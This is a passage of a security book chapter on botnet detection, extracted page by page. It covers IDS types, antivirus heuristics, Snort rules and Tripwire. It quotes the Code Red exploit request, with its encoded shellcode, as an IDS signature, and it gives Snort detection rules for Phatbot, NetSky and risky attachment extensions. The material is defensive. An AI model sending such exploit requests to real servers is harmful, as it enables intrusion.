private net 10/8 and made reachable by a VLAN (or two).As a\nresult, we can hope that the local malware infection cannot launch an\nattack against infrastructure boxes.\nOne final point is that switches can have logging as well. Logging based\non various Layer 2 isolation violations can thus alert you to a hacked system.\nIntrusion Detection \nA straightforward definition of intrusion detection from Robert Slade’s\nDictionary of Information Security (Syngress, 2006) is “an automated system for\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n155\n" }, { "page_number": 174, "text": "alerting an operator to a penetration or other contravention of a security\npolicy.”This does, however, leave open the question of exactly what an IDS\nmonitors. Commonly, IDS sensors check network packets, system files, and\nlog files.They may also be set up as part of a system (a darknet or honeynet)\nset up to trap or monitor intrusive activity, and some of these program types\nare considered in this chapter.\nIntrusion detection systems (IDSes) are usually considered as falling into one\nof two main types—either host based (HIDS) or network based (NIDS). Both\nthese types are usually subdivided according to monitoring algorithm type,\nthe two main types being signature detection and anomaly detection. (If you\nprefer, you can consider HIDS and NIDS as subdivisions of signature detec-\ntion and anomaly detection; it works as well for us either way.) \nA NIDS monitors a network, logically enough; it sees protected hosts in\nterms of the external interfaces to the rest of the network, rather than as a\nsingle system, and gets most of its results by network packet analysis.This\nmakes it an effective approach to detecting particular types of attack:\n■\nDenial-of-service (DoS) attacks, detected by specific signatures or by\ntraffic analysis\n■\nPort scans (scanning for a range of open/listening ports) and port\nsweeps (scanning for a single listening port on a range of hosts)\n■\nSpecific probe/attack signatures—for instance, the following signa-\nture, or a substring, is/was used by many IDSes for Code Red. We’ll\ndiscuss signatures in more depth shortly.\n/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN\nNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN\nNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN\nNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%\nu7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a\nHTTP/1.0\nYou shouldn’t restrict a NIDS to monitoring traffic coming in from the\nInternet. Ingress filtering can be helpful in monitoring global bot-related\nactivity (not to mention bringing it to your attention that you’re being hit by\na DoS attack!). However, monitoring outgoing traffic (egress filtering) and\nwww.syngress.com\n156\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 175, "text": "traffic on local networks can be a major indication and source of data on bot\ninfestation within your own perimeter.\nA HIDS focuses on individual systems.That doesn’t mean each host runs\nits own HIDS application, of course:You would generally administer an\nenterprise-class system centrally, though it might engage with agent software\non the local host. Rather, it means that the HIDS monitors activity (inappro-\npriate application activity, suspicious file or service accesses) on a protected\nsystem, or the state of the system (configuration, system file status). It can pick\nup evidence of breaches that have evaded outward-facing NIDS and firewall\nsystems or have been introduced by other means, such as:\n■\nAttacks from peer machines on an internal network\n■\nDirect tampering from internal users\n■\nIntroduction of malicious code from removable media\nAnomaly detection is closely related to what in the antivirus community\nis often referred to as “generic” detection—that is, measures that protect\nagainst classes of threat rather than specific, identified threats.Tripwire,\nreviewed later in this chapter, is a good example of this approach: If Tripwire\ntells you that a system file has been modified, that doesn’t, in itself, tell you\nwhat did the modifying (or even whether it was malicious), but it does give\nyou early warning that you might have been hit by something malicious.\nAnother example is an e-mail filter that blocks all executable attachments.\nIn IDS, the intention is to develop a baseline view of what constitutes\n“normal” behavior or activity in that environment. Often, that baseline will\ndevelop over time.This enables the administrator to:\n■\nDevelop a greater understanding of how activity varies over the long\nhaul.\n■\nAccommodate changes in the “threatscape,” since older exploits\ndecline in impact and as newer exploits and techniques come along.\nOnce you’ve established a baseline, activity that deviates from that norm is\nflagged as potentially malicious—spikes in traffic from or to particular IPs or\nthe unusually heavy use of particular services, for example. In the particular\ncontext of botnet detection, you might be particularly wary of traffic that\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n157\n" }, { "page_number": 176, "text": "appears to test for exploits of which some bots seem particularly fond, such as\nthe following:\n■\nTCP/6129 (Dameware remote administration)\n■\nTCP/2745 (Bagle backdoor)\n■\nTCP/2967 (SYM06-010 Symantec Corporate Anti-Virus exploit)\n■\n445 (MS06-040 Server Service buffer overrun exploit)\nThe advantage of a generic or anomaly detection service is that it can\nsometimes detect a new attack proactively, or at least as soon as it strikes.\nHowever, it has a number of possible disadvantages compared to a threat-spe-\ncific detection, such as known attack signatures:\n■\nAn anomaly could simply be unanticipated rather than malicious.\n■\nEither way, the onus is on the operator to determine exactly what is\nhappening. Extensive resources could be diverted to resolving minor\nissues, not to mention the risks of misdiagnosis through human error.\n■\nIn many cases, anomaly detection is based on a compromise setting\nfor the threshold at which an anomaly is taken to be potentially mali-\ncious. If the sensor is too sensitive, you could waste resources on\ninvestigating breaches that turn out not to be breaches and that could\noutweigh the value of the system as an intrusion control measure. If\nthe sensor is too relaxed about what it regards as acceptable, malicious\nactivity introduced gradually into the environment could evade\ndetection.\nSystems that are based on recognizing known attack signatures are less\nprone to seeing an attack where none exists (a false positive, or FP) —at least,\nthey are if they’re properly implemented. However, they are more prone to\nfalse negatives. In other words, if an attack signature isn’t in the signature\ndatabase, the attack won’t be recognized as such. In real life, though, this is less\nlikely to happen if the system uses such supplementary measures as generic\nsignatures or advanced heuristics; we’ll return to this topic in a moment,\nwhen we come to consider virus detection as a close relative to HIDS.\nwww.syngress.com\n158\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 177, "text": "Products in this area range from heavy-duty, expensive network appliances\nand full-scale commercial intrusion management software to open-source\npackages such as Snort, which we’ll look at in some detail. Why Snort?\nBecause it’s a good example of open-source security software at its best, for\nwhich documentation is widely available.There are many ways of imple-\nmenting IDS, but knowing a little about the internals of Snort will give you\nsome general understanding of the principles, using a tool that is—although\nessentially signature based—also capable of some types of anomaly detection.\nNot every IDS fits conveniently into the categories defined here. Many\nsystems are hybrid: Even Snort, which we consider later on and which falls\nsquarely into the NIDS-plus-signature-detection bag, can be used to imple-\nment forms of detection close to anomaly detection (we include an example\nof a Snort signature that filters e-mail attachments with anomalous filename\nextensions), and the distinction isn’t always realistic.There are a number of\nobvious ways of looking for botnet activity at the host level:\n■\nCheck executable files for known malicious code or characteristics\nthat suggest that the code is malicious.\n■\nCheck settings such as the Windows registry for signs of malicious\ncode.\n■\nCheck local auditing facilities for unusual activity.\n■\nCheck file systems, mailboxes, and so on for signs of misuse, such as\nhidden directories containing illicit material (pornographic images,\npirated applications, stolen data, and so on).\n■\nCheck for signs of a bot doing what bots do best: misusing network\nservices.\nHowever, assuming the competence of your system supplier and adminis-\ntration, what you do is often more important than where you do it. Network\nservices can (and arguably should) be monitored at the host level as well as at\nthe gateway or from the center; defense in depth is good insurance.\nNor is the distinction between IDSes and IPSes (intrusion prevention sys-\ntems) as absolute as we are often assured by market analysts. Detailed exami-\nnation of IPSes isn’t really appropriate to a chapter on detection, but we’ll\nenumerate a few common types:\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n159\n" }, { "page_number": 178, "text": "■\nLayer 7 switches, unlike the Layer 2 switches discussed earlier, inspect\napplication layer services (HTTP or DNS, for example) and make\nrule-based routing decisions.The technique’s origins in load bal-\nancing makes it potentially effective in countering DoS attacks, and\nvendors such as TopLayer, Foundry, and Arrowpoint have developed\nsolutions in this area.\n■\nHybrid switches combine this approach with a policy based on appli-\ncation-level activity rather than on a simple rule set.\n■\nHogwash (http://hogwash.sourceforge.net) is an interesting open-\nsource variation on the theme of an inline NIDS (a system that\ntransparently inspects and passes/rejects traffic). Hogwash uses the\nSnort signature detection engine (much more about Snort in a\nmoment) to decide whether to accept traffic without alerting a pos-\nsible attacker to the failure of his or her attempt, but it can also act as\na “packet scrubber,” passing on a neutered version of a malicious\npacket.\nBut there’s no real either/or when it comes to intrusion management.Any\nnumber of other measures contribute to the prevention of intrusion: sound\npatch management, user education, policy enforcement, e-mail content fil-\ntering, generic filtering by file type, and so forth. First we’ll take a look at the\nbest-known and yet least understood technology for countering intrusion by\nmalicious code.\nVirus Detection on Hosts\nHow do you manage the botnet problem—or indeed, any security problem?\nHere’s a simplification of a common model describing controls for an opera-\ntional environment:\n■\nAdministrative controls (policies, standards, procedures)\n■\nPreventative controls (physical, technical, or administrative measures\nto lower your systems’ exposure to malicious action)\n■\nDetective controls (measures to identify and react to security breaches\nand malicious action)\nwww.syngress.com\n160\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 179, "text": "■\nCorrective controls (measures to reduce the likelihood of a recur-\nrence of a given breach)\n■\nRecovery controls (measures to restore systems to normal operation)\nYou can see from this list that detection is only part of the management\nprocess. In fact, when we talk about detection as in “virus detection,” we’re\noften using the term as shorthand for an approach that covers more than one\nof these controls. Here we consider antivirus as a special case of a HIDS, but\nit doesn’t have to be (and, in enterprise terms, it shouldn’t be) restricted to a\nsingle layer of the “onion.”The antivirus industry might not have invented\ndefense in depth or multilayering, but it was one of the first kids on the block\n(Fred Cohen: A Short Course on Computer Viruses, Wiley). In a well-protected\nenterprise, antivirus sits on the desktop, on laptops, on LAN servers, on appli-\ncation servers, on mail servers, and so on. It’s likely to embrace real-time (on-\naccess) scanning at several of those levels, as well as or instead of on-demand\n(scheduled or user-initiated) scanning. It might include some measure of\ngeneric filtering (especially in e-mail and/or Web traffic) and should certainly\ninclude some measure of heuristic analysis as well as pure virus-specific detec-\ntion (see the following discussion).\nNowadays full-strength commercial antivirus software for the enterprise\nnormally includes console facilities for central management, reporting, and\nlogging as well as staged distribution of virus definitions (“signatures”).\nProperly configured, these facilities increase your chances of getting an early\nwarning of malicious activity, such as a botnet beginning to take hold on your\nsystems. Look out for anomalies such as malicious files quarantined because\nthey could not be deleted or files quarantined because of suspicious character-\nistics. Many products include a facility for sending code samples back to the\nvendor for further analysis.And, of course, antivirus products can be inte-\ngrated with other security products and services, which can give you a better\noverview of a developing security problem.\nAntivirus is often seen as the Cinderella of the security industry,\naddressing a declining proportion of malware with decreasing effectiveness\nand tied to a subscription model that preserves the vendor’s revenue stream\nwithout offering protection against anything but known viruses. What role\ncan it possibly have in the mitigation of bot activity? Quite a big role, in fact,\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n161\n" }, { "page_number": 180, "text": "not least because of its ability to detect the worms and blended threats that\nare still often associated with the initial distribution of bots.\nYou should be aware that modern antivirus software doesn’t only detect\nviruses. In fact, full-strength commercial antivirus software has always detected\na range of threats (and some nonthreats such as garbage files, test files, and so\non).A modern multilayered enterprise antivirus (AV) solution detects a ridicu-\nlously wide range of threats, including viruses, jokes, worms, bots, backdoor\nTrojans, spyware, adware, vulnerabilities, phishing mails, and banking Trojans.\nNot to mention a whole class of nuisance programs, sometimes referred to as\npossibly unwanted programs or potentially unwanted applications. So why don’t we\njust call it antimalware software? Perhaps one reason is that although detection\nof even unknown viruses has become extraordinarily sophisticated (to the\npoint where it’s often possible to disinfect an unknown virus or variant safely\nas well as detect it), it’s probably not technically possible to detect and remove\nall malware with the same degree of accuracy.A vendor can reasonably claim\nto detect 100 percent of known viruses and a proportion of unknown viruses\nand variants but not to detect anything like 100 percent of malware.Another\nreason is that, as we’ve already pointed out, not everything a scanner detects is\nmalicious, so maybe antimalware wouldn’t be any better.\nTools & Traps…\nExplaining Antivirus Signatures\nIt’s widely assumed that antivirus works according to a strictly signa-\nture-based detection methodology. In fact, some old-school antivirus\nresearchers loathe the term signature, at least when applied to\nantivirus (AV) technology, for several reasons. (The term search string is\ngenerally preferred, but it’s probably years too late to hope it will be\nwidely adopted outside that community when even AV marketing\ndepartments use the term signature quite routinely). Furthermore:\n■The term signature has so many uses and shades of meaning\nin other areas of security (digital signatures, IDS attack signa-\ntures, Tripwire file signatures) that it generates confusion\nwww.syngress.com\n162\nChapter 5 • Botnet Detection: Tools and Techniques\nContinued\n" }, { "page_number": 181, "text": "www.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n163\nrather than resolving it. IDS signatures and AV signatures (or\nsearch strings, or identities, or .DATs, or patterns, or defini-\ntions …) are similar in concept in that both are “attack signa-\ntures”; they are a way of identifying a particular attack or\nrange of attacks, and in some instances they identify the same\nattacks. However, the actual implementation can be very dif-\nferent. Partly this is because AV search strings have to be com-\npact and tightly integrated for operational reasons; it\nwouldn’t be practical for a scanner to interpret every one of\nhundreds of thousands of verbose, standalone rules every\ntime a file was opened, closed, written, or read, even on the\nfastest multiprocessor systems. Digital signatures and Tripwire\nsignatures are not really attack signatures at all: They’re a way\nof fingerprinting an object so that it can be defended against\nattack.\n■It has a specific (though by no means universally used) tech-\nnical application in antivirus technology, applied to the use\nof a simple, static search string. In fact, AV scanning tech-\nnology had to move far beyond that many years ago.\nReasons for this include the rise of polymorphic viruses,\nsome of which introduced so many variations in shape\nbetween different instances of the same virus that there was\nno usable static string that could be used as a signature.\nHowever, there was also a need for faster search techniques\nas systems increased in size and complexity.\n■The term is often misunderstood as meaning that each virus\nhas a single unique identifier, like a fingerprint, used by all\nantivirus software. If people think about what a signature\nlooks like, they probably see it as a text string. In fact, the\nrange of sophisticated search techniques used today means\nthat any two scanner products are likely to use very dif-\nferent code to identify a given malicious program.\nIn fact, AV uses a wide range of search types, from UNIX-like regular\nexpressions to complex decryption algorithms and sophisticated search\nalgorithms. These techniques increase code size and complexity, with\ninevitable increases in scanning overhead. However, in combination with\nother analytical tools such as code emulation and sandboxing, they do\nhelp increase the application’s ability to detect unknown malware or\nvariants, using heuristic analysis, generic drivers/signatures, and so on. \n" }, { "page_number": 182, "text": "To this end, modern malware is distributed inconspicuously, spammed out\nin short runs or via backdoor channels, the core code obscured by repeated\nrerelease, wrapped and rewrapped using runtime packers, to make detection\nby signature more difficult.These technical difficulties are increased by the\nbotherder’s ability to update or replace the initial intrusive program.\nTools & Traps…\nMalware in the Wild\nThe WildList Organization International (www.wildlist.org) is a long-\nstanding cooperative venture to track “in the wild” (ItW) malware, as\nreported by 80 or so antivirus professionals, most of them working for\nAV vendors. The WildList itself is a notionally monthly list of malicious\nprograms known to be currently ItW. Because the organization is essen-\ntially staffed by volunteers, a month slips occasionally, and the list for a\ngiven month can come out quite a while later. This isn’t just a matter of\nnot having time to write the list; the process involves exhaustive testing\nand comparing of samples, and that’s what takes time.\nHowever, the WildList is a unique resource that is the basis for much\nresearch and is extensively drawn on by the better AV testing organiza-\ntions (Virus Bulletin, AV-Test.org, ICSAlabs). The published WildList actu-\nally comprises two main lists: the shorter “real” WildList, where each\nmalware entry has been reported by two or more reporters, and a\n(nowadays) longer list that has only been reported by one person. A\nquick scan of the latest available lists at the time of writing (the\nSeptember 2006 list is at www.wildlist.org/WildList/200609.htm) demon-\nstrates dramatically what AV is really catching these days:\n■First, it illustrates to what extent the threatscape is domi-\nnated by bots and bot-related malware: The secondary list\nshows around 400 variants of W32/Sdbot alone.\n■It also demonstrates the change, described earlier, in how\nmalware is distributed. Historically, the WildList is published in\ntwo parts because when a virus or variant makes the primary\nlist, the fact that it’s been reported by two or more WildList\nreporters validates the fact that it’s definitely (and technically)\nItW. It doesn’t mean that there’s something untrustworthy\nwww.syngress.com\n164\nChapter 5 • Botnet Detection: Tools and Techniques\nContinued\n" }, { "page_number": 183, "text": "about malware reports that only make the secondary list. B-\nlist celebrities might be suspect, but B-list malware has been\nreported by an expert in the field. So, the fact that the sec-\nondary list is much longer than the primary list suggests\nstrongly that a single variant is sparsely distributed, to reduce\nthe speed with which it’s likely to be detected. This does sug-\ngest, though, that the technical definition of ItW (i.e.,\nreported by two or more reporters; see Sarah Gordon’s paper,\nWhat is Wild?, at http://csrc.nist.gov/nissc/1997/proceed-\nings/177.pdf) is not as relevant as it used to be.\nDon’t panic, though; this doesn’t mean that a given variant may be\ndetected only by the company to which it was originally reported.\nWildList-reported malware samples are added to a common pool\n(which is used by trusted testing organizations for AV testing, among\nother purposes), and there are other established channels by which AV\nresearchers exchange samples. This does raise a question, however:\nHow many bots have been sitting out there on zombie PCs that still\naren’t yet known to AV and/or other security vendors? Communication\nbetween AV researchers and other players in the botnet mitigation\ngame has improved no end in the last year or two. Despite this, anec-\ndotal evidence suggests that the answer is still “Lots!” After all, the\ntotal number of Sdbot variants is known to be far higher than the\nnumber reported here (many thousands …).\nHeuristic Analysis\nOne of the things that “everybody knows” about antivirus software is that it\nonly detects known viruses.As is true so often, everyone is wrong.AV ven-\ndors have years of experience at detecting known viruses, and they do it very\neffectively and mostly accurately. However, as everyone also knows (this time\nmore or less correctly), this purely reactive approach leaves a “window of vul-\nnerability,” a gap between the release of each virus and the availability of\ndetection/protection.\nDespite the temptation to stick with a model that guarantees a never-\nending revenue stream, vendors have actually offered proactive approaches to\nvirus/malware management. We’ll explore one approach (change/integrity\ndetection) a little further when we discuss Tripwire. More popular and \nsuccessful, at least in terms of detecting “real” viruses as opposed to imple-\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n165\n" }, { "page_number": 184, "text": "menting other elements of integrity management, is a technique called\nheuristic analysis.\nTIP\nIntegrity detection is a term generally used as a near-synonym for\nchange detection, though it might suggest more sophisticated\napproaches. Integrity management is a more generalized concept and\nsuggests a whole range of associated defensive techniques such as\nsound change management, strict access control, careful backup sys-\ntems, and patch management. Many of the tools described here can\nbe described as integrity management tools, even though they aren’t\nconsidered change/integrity detection tools.\nHeuristic analysis (in AV; spam management tools often use a similar\nmethodology, though) is a term for a rule-based scoring system applied to\ncode that doesn’t provide a definite match to known malware. Program\nattributes that suggest possible malicious intent increase the score for that pro-\ngram.The term derives from a Greek root meaning to discover and has the\nmore general meaning of a rule of thumb or an informed guess.Advanced\nheuristics use a variety of inspection and emulation techniques to assess the\nlikelihood of a program’s being malicious, but there is a trade-off:The more\naggressive the heuristic, the higher the risk of false positives (FPs). For this\nreason, commercial antivirus software often offers a choice of settings, from\nno heuristics (detection based on exact or near-exact identification) to mod-\nerate heuristics or advanced heuristics.\nAntivirus vendors use other techniques to generalize detection. Generic\nsignatures, for instance, use the fact that malicious programs and variants have\na strong family resemblance—in fact, we actually talk about virus and bot\nfamilies in this context—to detect groups of variants rather than using a single\ndefinition for each member of the group.This has an additional advantage:\nThere’s a good chance that a generic signature will also catch a brand-new\nvariant of a known family, even before that particular variant has been ana-\nlyzed by the vendor.\nwww.syngress.com\n166\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 185, "text": "TIP\nFrom an operational point of view, you might find sites such as\nVirusTotal (www.virustotal.org), Virus.org (www.virus.org), or Jotti\n(http://virusscan.jotti.org/) useful for scanning suspicious files. These ser-\nvices run samples you submit to their Web sites against a number of\nproducts (far more than most organizations will have licensed copies\nof) and pass them on to antivirus companies. Of course, there are\ncaveats. Inevitably, some malware will escape detection by all scanners:\na clean bill of health. Since such sites tend to be inconsistent in the\nway they handle configuration issues such as heuristic levels, they don’t\nalways reflect the abilities of the scanners they use so are not a\ndependable guide to overall scanning performance by individual prod-\nucts. (It’s not a good idea to use them as a comparative testing tool.)\nAnd, of course, you need to be aware of the presence of a suspicious\nfile in the first place. \nMalware detection as it’s practiced by the antivirus industry is too com-\nplex a field to do it justice in this short section: Peter Szor’s The Art of\nComputer Virus Research and Defense (Symantec Press, 2005) is an excellent\nresource if you want to dig deeper into this fascinating area.The ins and outs\nof heuristic analysis are also considered in Heuristic Analysis: Detecting Unknown\nViruses, by Lee Harley, at www.eset.com/download/whitepapers.php.\nYou might notice that we haven’t used either an open-source or commer-\ncial AV program to provide a detailed example here.There are two reasons \nfor this:\n■\nThere is a place for open source AV as a supplement to commercial\nantivirus, but we have concerns about the way its capabilities are so\ncommonly exaggerated and its disadvantages ignored. No open-source\nscanner detects everything a commercial scanner does at present, and\nwe don’t anticipate community projects catching up in the foreseeable\nfuture.We could, perhaps, have looked at an open-source project in\nmore detail (ClamAV, for instance, one of the better community pro-\njects in this area), but that would actually tell you less than you might\nthink about the way professional AV is implemented. Free is not\nalways bad, though, even in AV. Some vendors, like AVG and Avast,\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n167\n" }, { "page_number": 186, "text": "offer free versions of their software that use the same basic detection\nengine and the same frequent updates but without interactive support\nand some of the bells and whistles of the commercial version. Note\nthat these are normally intended for home use; for business use, you\nare required to pay a subscription. Others, such as ESET and Frisk,\noffer evaluation copies.These are usually time-restricted and might\nnot have all the functionality of the paid-for version.\n■\nCommercial AV products vary widely in their facilities and interfaces,\neven comparing versions of a single product across platforms (and\nsome of the major vendors have a very wide range of products).\nFurthermore, the speed of development in this area means that two\nversions of the same product only a few months apart can look very\ndifferent. We don’t feel that detailed information on implementing\none or two packages would be very useful to you. It’s more impor-\ntant to understand the concepts behind the technology so that you\ncan ask the right questions about specific products.\nSnort as an Example IDS\nSnort, written in 1998 by Martin Roesch, is often still described as a\nlightweight NIDS, though its current capabilities compare very favorably to\nheavyweight intrusion detection systems such as ISS RealSecure, Cisco’s\nSecure IDS, eTrust IDS, and so on. Snort is available for most common plat-\nforms, including Windows, Linux, BSD UNIX, Solaris, and Mac OS X.You\ncan get the software at a very attractive price—well, free (it’s open source, to\nbe precise). However, Sourcefire does market a commercial version (the\nSourcefire Intrusion Sensor), which is based on the Snort detection engine\nbut adds other components such as a friendlier interface, reporting, policy\nmanagement, and a full support package (www.sourcefire.com).\nSnort is claimed at the time of writing to have well over 150,000 active\nusers and to have been downloaded over 3 million times (www.snort.org).\nAlthough the superiority of open-source software, especially in the security\narena, is sometimes overstated, Snort is a fine example of how continuing\nreview and testing by a community of experienced programmers and admin-\nistrators can benefit a product.\nwww.syngress.com\n168\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 187, "text": "Installation\nTo install Snort on Windows, you need to install the open-source packet-cap-\nture driver WinPCap (Windows Packet Capture Library). Snort can’t function\nwithout it, since it needs the driver to capture packets for analysis. However,\nbeware: Compatibility and synchronization between Snort and WinPCap\n(www.winpcap.org) versions has not always been perfect.You can use\nSnortReport to query the raw logs, but for far more flexibility, use BASE\n(Base Analysis and www.engagesecurity.com/products/idscenter/). Linux\ninstallations require Pcap (Packet Capture Tool) and Pcre (Perl Compatible\nRegular Expression Tool) as well as MySQL.\nFor more information on installation and on Snort in general, check out\nSnort 2.1 Intrusion Detection, Second Edition, published by Syngress (ISBN 1-\n931836-04-3).You might also find Jeff Richard’s article at www.giac.org/\npractical/gsec/Jeff_Richard_GSEC.pdf useful for Windows installations, or\none by Patrick Harper at www.internetsecurityguru.com/documents/\nsnort_acid_rh9.pdf could help with Linux.\nRoles and Rules\nYou can use Snort as a packet sniffer somewhat comparable to tcpdump\n(www.tcpdump.org), allowing you to capture and display whole packets or\nselected header information, or as a packet logger, but its principle attraction\nis its robust and flexible rule-based intrusion detection.This extends its capa-\nbilities far beyond simple logging; its protocol analysis and content-filtering\ncapabilities enable it to detect buffer overflows, port scans, SMB probes, and\nso on.\nSnort rules are by no means rocket science, but most administrators will\nwant to tap into the wider (much wider!) Snort community of security pro-\nfessionals and benefit from their collective input into the development of cus-\ntomized rules, rather than spending 24 hours a day “rolling their own” rules.\nThe Sourcefire Vulnerability Research Team (VRT) certifies rules for\nSourcefire customers and registered Snort users (www.snort.org/rules/),\nthough unregistered users only get a static rule set at the time of each major\nSnort release. VRT also maintains a community rule set containing rules sub-\nmitted by the open-source Snort community.These rules are supplied as is,\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n169\n" }, { "page_number": 188, "text": "and only basic testing is applied by VRT—that is, sufficient to ensure that\nthey don’t break the application. However, community rules are often\nexpertly created and rigorously tested by the community before they are sub-\nmitted to VRT.\nThe Bleedingsnort resource at www.bleedingsnort.com is a source of\n“bleeding-edge” rules and signatures of variable quality.Their usefulness\ndepends, again, on the constructional and testing abilities of their creator.\nRolling Your Own\nHere are two Snort signatures created by (and used by kind permission of)\nJoe Stewart and published as part of an analysis of Phatbot (www.lurhq.com/\nphatbot.html):\nalert tcp any any -> any any (msg:\"Agobot/Phatbot Infection Successful\";\nflow:established; content:\"221 Goodbye, have a good infection |3a 29 2e 0d\n0a|\"; dsize:40; classtype:trojan-activity;\nreference:url,www.lurhq.com/phatbot.html; sid:1000075; rev:1;)\nWe can’t do more than suggest the rich functionality offered by Snort sig-\nnatures, but here’s a brief guide as to how this one works:\n■\n[alert tcp] instructs the software to send an alert when the signature\nlater in the rule is seen in a TCP packet. (Snort can also scan UDP\nand ICMP traffic.)\n■\nThe first any defines the IP range for which the alert should trigger.\nIn this case, it applies whether the IP address is local or external.\n■\nThe second any means that the alert should trigger irrespective of\nTCP port.\n■\n[-> any any] tells us that the alert should trigger irrespective of the\nlocation of the target IP and on any port (again, this will be a TCP\nport in this case).\n■\n[(msg:”Agobot/Phatbot Infection Successful”;] specifies the text to be\nused by the alert to identify the event.The message may be sent via\nan external program as well as to the screen or log file.\n■\nThe flow keyword establishes the direction of the traffic flow. In this\ncase, the alert will trigger only on established connections.\nwww.syngress.com\n170\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 189, "text": "■\n[content:”221 Goodbye, have a good infection |3a 29 2e 0d 0a|”] defines\nthe actual signature that will trigger the alert.\n■\n[dsize:40] specifies the value against which the packet’s payload size\nshould be tested.\n■\n[classtype:trojan-activity] denotes that the event is to be logged as\n“trojan-activity,” but it could be logged as any registered “classtype.”\n■\n[reference:url,www.lurhq.com/phatbot.html] denotes the external attack\nreference ID—in this case, the URL for Joe’s analysis.\n■\n[sid:1000075] signifies the Snort rule identifier.\n■\n[; rev 1;] specifies the revision number. Obviously, you would incre-\nment this number as needed.\nHere’s a supplementary signature from the same source:\nalert tcp any any -> any any (msg:\"Phatbot P2P Control Connection\";\nflow:established; content:\"Wonk-\"; content:\"|00|#waste|00|\"; within:15;\nclasstype:trojan-activity; reference:url,www.lurhq.com/phatbot.html;\nsid:1000076; rev:1;)\nThis signature is very similarly constructed to the first: [within:15;] speci-\nfies that the two “content” patterns are to be within 15 bytes of each other.\nHowever, Snort signatures can be used to counter a far wider range of\nthreats than bots.The following snippet is a signature created by Martin\nOverton for W32/Netsky.P and used here as an example, again with his kind\npermission:\nalert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:\"W32.NetSky.p@mm - MIME\";\ncontent: \"X7soIUEAR4s3r1f/E5UzwK51/f4PdO/+D3UGR/83r+sJ/g8PhKLw/v9XVf9T\";\nclasstype: misc-activity;)\n■\n[$EXTERNAL_NET any] means that the rule should trigger on any\nTCP port. (The any keyword could be replaced by a specific port\nsuch as 110, the TCP port used by a POP mail client.) However,\nusing the variable $EXTERNAL_NET specifies that the rule should\ntrigger only if the offending packet comes from an external IP\naddress.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n171\n" }, { "page_number": 190, "text": "■\n[-> $HOME_NET any] specifies that the target IP should be on the\nlocal network, but again, on any port.The $HOME_NET variable is\nset by the administrator to refer to an appropriate IP range belonging\nto his organization.\n■\n[ (msg:”W32.NetSky.p@mm - MIME”;] specifies the message text.\n■\n[content:”X7soIUEAR4s3r1f/E5UzwK51/f4PdO/+D3UGR/83r+sJ/g\n8PhKLw/v9XVf9T”] specifies the signature.\n■\n[; classtype: misc-activity; rev 1;)] specifies that the event is to be logged\nas “misc-activity.”\nIn his paper, Anti-Malware Tools: Intrusion Detection Systems, presented at the\nEICAR 2005 conference (http://arachnid.homeip.net/papers/EICAR2005-\nIDS-Malware-v.1.0.2.pdf), Martin includes a number of other examples, one\nof which we can’t resist quoting, slightly modified.This rule adds the capa-\nbility of alerting on or blocking some e-mail attachment types by filename\nextension.The file types specified are, when found attached to e-mail, far\nmore often associated with mass-mailer viruses and worms, bots,Trojans, and\nso on than they are with legitimate and desirable programs. (The list of exten-\nsion types could be a lot longer, but this rule on its own is capable of\nblocking a wide range of e-mail-borne malware.)\nalert tcp $EXTERNAL_NET any -> any any (msg:\"Bad Extensions\nMatch/PCRE\";pcre:\"/attachment\\;\\W{1,}filename=[\"]\\S{1,}[.](scr|com|exe|cpl|pi\nf|hta|vbs|bat|lnk|hlp)/\";classtype:misc-activity; rev:1;)\nThe main novelty here is the pcre directive, indicating the use of Perl\nCompatible Regular Expressions. For much more information on writing\nSnort rules, see www.snort.org/docs/writing_rules/, part of the Snort Users\nManual.\nSnort_inline is a version of Snort modified to accept packets from iptables\nvia libipq, instead of libpcap, using additional rule types (drop, sdrop, reject) to\ndrop, reject, modify, or pass the packet according to a Snort rule set.\nwww.syngress.com\n172\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 191, "text": "Tripwire\nTripwire is an integrity management tool that was originally created by\nProfessor Eugene Spafford and Gene Kim in 1992 at Purdue University,\nthough the project is no longer supported there. In 1997, Gene Kim\ncofounded Tripwire Inc. (www.tripwire.com) to develop the product com-\nmercially, and the company continues to be a leading player in commercial\nchange-auditing software for the enterprise, monitoring changes and feeding\nreports through enterprise management systems. However, the Open Source\nTripware project at Sourceforge (http://sourceforge.net/projects/tripwire/) is\nbased on code contributed by Tripwire Inc. in 2000 and is released under\nGnu General Public License (GPL), so there is a clear line of succession from\nthe original academic source release (ASR). See www.cerias.purdue.edu/\nabout/history/coast/projects/ for more on the origins of Tripwire at\nComputer Operations Audit and Security Technology (COAST).\nThe original product has been described as an integrity-monitoring tool,\nusing message digest algorithms to detect changes in files.This is under the\nassumption that such changes are likely to be due to illegal access by an\nintruder or malicious software.Although it was originally intended for UNIX\nsystems and is widely used on Linux systems, Mac OS X, and so forth, it has\nbeen ported commercially to other platforms, notably Windows. Open Source\nTripwire, however, is available only for POSIX-compliant platforms and has a\nmore restricted range of signing options, for example.The commercial\nproduct range is nearer an 